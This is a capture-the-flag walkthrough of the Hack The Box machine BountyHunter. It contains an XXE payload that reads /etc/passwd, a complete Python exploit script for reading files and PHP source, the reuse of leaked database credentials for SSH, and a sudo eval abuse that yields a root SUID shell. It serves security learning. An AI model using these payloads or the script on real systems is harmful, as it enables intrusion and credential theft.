Skip to content

HTB: BountyHunter Walkthrough

  • by

I started this machine with an nmap scan using the command nmap -A -T4 -p- 10.129.95.166, which showed 2 open ports 22 and 80.

I navigated to the web page, and it was hosting a site for Bug Bounty Hunters that were searching for clients. The page header included a link to a Portal.

At the /portal.php page was a link to a page for testing the bounty tracker, which I clicked.

There at /log_submit.php I found a Bug Bounty reporting system. I tried entering some values in the form.

When I looked at the request that I caught in Burp Suite, it made a POST request to /tracker_diRbPr00f314.php (looked like this was to prevent this page from being found with a tool like dirb or gobuster) with a base64 encoded body for the data value.

I URL decoded then base64 decoded the value in Burp Suite decoder, and saw an XML payload.

It looked like I could potentially leverage this endpoint to run an XML External Entities attack. I then crafted the following XXE payload, which would attempt to read the /etc/passwd file on the server:

XML
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ELEMENT cwe ANY >
<!ENTITY cwe SYSTEM "file:///etc/passwd">
]>
<bugreport>
<title>Test</title>
<cwe>&cwe;</cwe>
<cvss>8</cvss>
<reward>1000000</reward>
</bugreport>

I then base64 encoded and URL encoded the payload and submitted it, and was able to read the contents of /etc/passwd. There was a development user in the /home directory.

I next created a script that would do the following: take in the host base URL and one of two options: a file path, or a PHP wrapper that would get the contents of a PHP file and base64 encode them. It would then, for either option, display the contents of the file if it retrieved content for that file. I did this so I would have to manually base64 encode the payload each time I wanted to run it, and also so that I wouldn’t have to base64 decode it if using the PHP wrapper.

Python
#!/usr/bin/python3
import argparse
import base64
import requests
import urllib.parse

from bs4 import BeautifulSoup


def create_xxe_payload(filename, phpfile):
    if phpfile:
        filename = f"php://filter/convert.base64-encode/resource={phpfile}"
    else:
        filename = f"file://{filename}"
    data = f"""<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
<!ELEMENT cwe ANY >
<!ENTITY cwe SYSTEM "{filename}">
]>
<bugreport>
<title>Test</title>
<cwe>&cwe;</cwe>
<cvss>8</cvss>
<reward>1000000</reward>
</bugreport>"""

    b64_bytes = base64.b64encode(data.encode('utf-8'))
    b64_string = b64_bytes.decode('utf-8')
    url_encoded_payload = urllib.parse.quote(b64_string)

    return url_encoded_payload

def submit_xxe_payload(host, payload, filename, phpfile):
    response = requests.post(
        url=f"{host}/tracker_diRbPr00f314.php",
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        data=f"data={payload}",
        proxies={"http": "http://127.0.0.1:8080"},
    )

    soup = BeautifulSoup(response.text, 'html.parser')

    matches = soup.find_all('td')

    texts = [tag.get_text() for tag in matches]

    if len(texts) >= 4 and len(texts[3]) > 0:
        if phpfile:
            print(f"\nDecoded contents for PHP file {phpfile}:\n")
            decoded_php = base64.b64decode(texts[3])
            decoded_php_str = decoded_php.decode('utf-8')
            print(decoded_php_str)
        else:
            print(f"\nFound contents for file {filename}:\n")
            print(texts[3])


if __name__ == "__main__":
    parser = argparse.ArgumentParser()

    parser.add_argument('--url', '-u',
        required=True,
        dest='url',
        help='Host URL',
    )
    parser.add_argument('--filename', '-f',
        required=False,
        dest='filename',
        help='Filename',
    )
    parser.add_argument('--phpfile', '-p',
        required=False,
        dest='phpfile',
        help='PHP file to read',
    )
    args = parser.parse_args()

    url = args.url
    if not url.startswith("http://"):
        url = "http://" + url
    filename = args.filename
    phpfile = args.phpfile

    payload = create_xxe_payload(filename, phpfile)
    submit_xxe_payload(url, payload, filename, phpfile)

Using the –f option and running the script like python3 xxe_exploit.py -u http://10.129.95.166 -f /etc/passwd confirmed I could read the /etc/passwd file.

I tried looking at files like /home/development/.ssh/id_rsa and /etc/apache2/sites-enabled/000-default.conf but didn’t find anything too useful using the -f option for my script.

I was able to use the -p option to get the contents of PHP files like index.php, portal.php, and tracker_diRbPr00f314.php, running the script like python3 xxe_exploit.py -u http://10.129.95.166 -p tracker_diRbPr00f314.php, but I couldn’t find anything too interesting in these files.

I next ran gobuster dir -u http://10.129.95.166 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x html,php,txt to try to discover other files for the site, and found that there was a db.php file.

I then ran my exploit script like python3 xxe_exploit.py -u http://10.129.95.166 -p db.php to get the db.php file contents, and I found database credentials for an admin user.

The database password also worked as the SSH password for development, and I was able to use these credentials to get an SSH session as development, and I found the first flag in /home/development/user.txt.

The contract.txt file contained information about getting permissions to run a tool to validate tickets.

I next ran sudo -l, which indicated I could run the /opt/skytrain_inc/ticketValidator.py script as root without a password.

The /opt/skytrain_inc/ticketValidator.py file contained a load_file function that would only load a file that ended in .md. The evaluate function would then do some validation on the file format, then would call eval on code lines starting with **. This looked like it could be leveraged to run Python code as root and escalate my privileges.

There was also a directory /opt/skytrain_inc/invalid_tickets that contained some tickets, and I used these to help me get an idea of how to make a file that could take advantage of this script.

I then created a test.md file with the following contents, where it would use the os.system method to make an SUID copy of bash that I could use to escalate privileges to root.

Running sudo -u root /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py created the /tmp/rootbash file successfully with root SUID permissions, and I ran it like /tmp/rootbash -p to get a shell with an euid as root. I found the last flag in /root/root.txt.

Leave a Reply

Your email address will not be published. Required fields are marked *